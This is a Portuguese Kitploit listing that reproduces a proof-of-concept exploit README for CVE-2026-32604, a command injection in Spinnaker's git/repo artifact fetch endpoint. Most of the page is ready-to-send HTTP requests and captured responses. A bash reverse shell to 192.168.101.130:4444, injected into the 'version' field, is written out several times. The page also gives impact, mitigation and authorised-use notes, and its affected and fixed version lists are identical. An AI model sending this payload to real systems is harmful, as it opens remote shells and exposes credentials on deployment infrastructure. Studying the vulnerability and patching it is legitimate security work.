Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Ferramentas/GitHubGitHub/k3ystr0k3r/cve-2026-32604
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebTestes de PenetraçãoSegurança na NuvemFerramenta de Acesso Remoto
GitHubk3ystr0k3r/cve-2026-32604

CVE-2026-32604

Prova de conceito de exploit para CVE-2026-32604, uma RCE por injeção de comando no tratamento de artefatos GitRepo do Spinnaker através do campo version.

Ver Repositório
1há 9h 43mAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

CVE-2026-32604 - Spinnaker GitRepo Artifact RCE

CVE-2026-32604 - Execução Remota de Código no Spinnaker através do tipo de artefato git/repo.

Esta é uma vulnerabilidade de injeção de comando / execução remota de código no tratamento de artefatos GitRepo do Spinnaker.

A funcionalidade vulnerável permite que valores controlados pelo usuário fornecidos através do campo version de um artefato git/repo alcancem a execução de comandos sem serem devidamente sanitizados.

O endpoint vulnerável é:

root@kitploit:~
PUT /artifacts/fetch

O ponto importante é que a aplicação expõe o provedor de artefatos git/repo através de:

root@kitploit:~
GET /artifacts/credentials

que retorna:

root@kitploit:~
[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

Isso confirma que o tipo de artefato git/repo está disponível.


Vulnerabilidade

A requisição vulnerável é enviada para:

root@kitploit:~
PUT /artifacts/fetch

com um corpo JSON contendo um artefato de repositório Git.

O parâmetro version pode ser manipulado com sintaxe de shell.

Para testes, usei:

root@kitploit:~
main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #

A requisição completa capturada durante o PoC foi:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive
Content-Type: application/json
Content-Length: 245

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

O parâmetro importante aqui é:

root@kitploit:~
"version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #"

A expressão de shell injetada é anexada após o valor esperado de branch/versão do Git.

O # é usado para comentar o restante do comando após a expressão injetada.


Resposta

A requisição foi aceita pela aplicação vulnerável.

A resposta HTTP capturada foi:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "036378056a333bda685add0375343e80c"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 345
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

[
  {
    "name": "embedded-artifact",
    "type": "artifacts-embedded",
    "types": [
      "embedded/base64",
      "remote/base64"
    ]
  },
  {
    "name": "front50ArtifactCredentials",
    "type": "artifacts-front50",
    "types": [
      "front50/pipelineTemplate"
    ]
  },
  {
    "name": "lab-gitrepo",
    "type": "git/repo",
    "types": [
      "git/repo"
    ]
  },
  {
    "name": "custom-artifact",
    "type": "artifacts-custom",
    "types": [
      "custom/object"
    ]
  }
]

O ponto relevante é que o tipo de artefato vulnerável está presente e o valor malicioso de version é aceito pelo endpoint de busca de artefatos.


Verificação Inicial do Serviço

Antes de testar o endpoint vulnerável, verifiquei se o alvo estava respondendo:

root@kitploit:~
GET /health HTTP/1.1
Host: 127.0.0.1:8121
User-Agent: python-requests/2.32.5
Accept-Encoding: gzip, deflate, br
Accept: */*
Connection: keep-alive

Resposta:

root@kitploit:~
HTTP/1.1 200 OK
ETag: "06b3d339e07161970cd740c9542492218"
X-Content-Type-Options: nosniff
X-XSS-Protection: 0
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: 0
X-Frame-Options: DENY
Content-Type: application/json;charset=UTF-8
Content-Length: 15
Date: Thu, 17 Sep 2026 20:42:21 GMT
Keep-Alive: timeout=60
Connection: keep-alive

{"status":"UP"}

Fluxo de Exploração

O PoC é basicamente:

root@kitploit:~
Target
  │
  ├── GET /health
  │      └── {"status":"UP"}
  │
  ├── GET /artifacts/credentials
  │      └── git/repo artifact type exposed
  │
  └── PUT /artifacts/fetch
         │
         ├── type = git/repo
         ├── reference = attacker-controlled Git repository/reference
         └── version = injected shell command
                    │
                    └── command execution

O problema não é simplesmente que o endpoint aceita um nome de branch Git. O problema é que dados de artefato Git controlados pelo atacante alcançam um contexto de execução de comandos sem serem restringidos com segurança à sintaxe esperada de versão/branch do Git.


Requisição PoC Bruta

Para reprodução rápida, a requisição principal é:

root@kitploit:~
PUT /artifacts/fetch HTTP/1.1
Host: 127.0.0.1:8121
Content-Type: application/json

{
  "type": "git/repo",
  "name": "https://github.com/spinnaker/spinnaker.git",
  "reference": "https://github.com/spinnaker/spinnaker.git",
  "version": "main; bash -c 'bash -i >& /dev/tcp/192.168.101.130/4444 0>&1' #",
  "artifactAccount": "lab-gitrepo"
}

O payload acima é destinado apenas a um ambiente de laboratório controlado.


Por Que Isso Funciona

O caminho vulnerável envolve a implementação do artefato GitRepo processando informações de artefato controladas pelo atacante.

O valor esperado para version é algo semelhante a:

root@kitploit:~
main

mas a aplicação não restringe suficientemente o valor a esse formato esperado.

Em vez disso, sintaxe de shell pode ser introduzida:

root@kitploit:~
main; <command> #

o que altera o significado do comando resultante.

Isso transforma uma operação de recuperação de artefato em execução arbitrária de comandos no contexto do serviço Spinnaker Clouddriver vulnerável.


Impacto

A exploração bem-sucedida pode resultar em execução arbitrária de comandos no pod Clouddriver afetado.

Dependendo das permissões e do ambiente do pod comprometido, isso pode potencialmente permitir que um atacante:

  • Execute comandos arbitrários.
  • Leia credenciais disponíveis para o processo Clouddriver.
  • Acesse arquivos disponíveis dentro do contêiner.
  • Modifique ou remova arquivos acessíveis.
  • Acesse outros serviços alcançáveis a partir do pod.
  • Potencialmente use o pod comprometido como trampolim para o ambiente ao redor.

O aviso oficial do Spinnaker observa especificamente que a exploração pode expor credenciais, remover arquivos ou injetar recursos.


Versões Afetadas

De acordo com o aviso de segurança do Spinnaker, as linhas de versão afetadas incluem versões anteriores a:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

As versões corrigidas são:

root@kitploit:~
2025.3.2
2025.4.2
2026.0.1
2026.1.0

A vulnerabilidade é rastreada como CVE-2026-32604 e é classificada como CWE-20: Validação de Entrada Imprópria.


Mitigação

Atualize o Spinnaker para uma versão corrigida.

O aviso upstream também lista a desativação do tipo de artefato git/repo como uma solução alternativa para instalações que não podem atualizar imediatamente.

Versões atuais do Spinnaker devem ser usadas sempre que possível, em vez de permanecer em uma linha de versão afetada.


Referências

  • Spinnaker Security Advisory — GHSA-x3j7-7pgj-h87r
  • CVE-2026-32604 — CISA Vulnerability Enrichment
  • Spinnaker Releases

Aviso Legal

Este PoC é fornecido para pesquisa de segurança, validação de vulnerabilidades e testes autorizados.

Execute-o apenas contra sistemas que você possui ou tem permissão explícita para testar.

Testei a vulnerabilidade em um ambiente de laboratório isolado.

Baixar ferramenta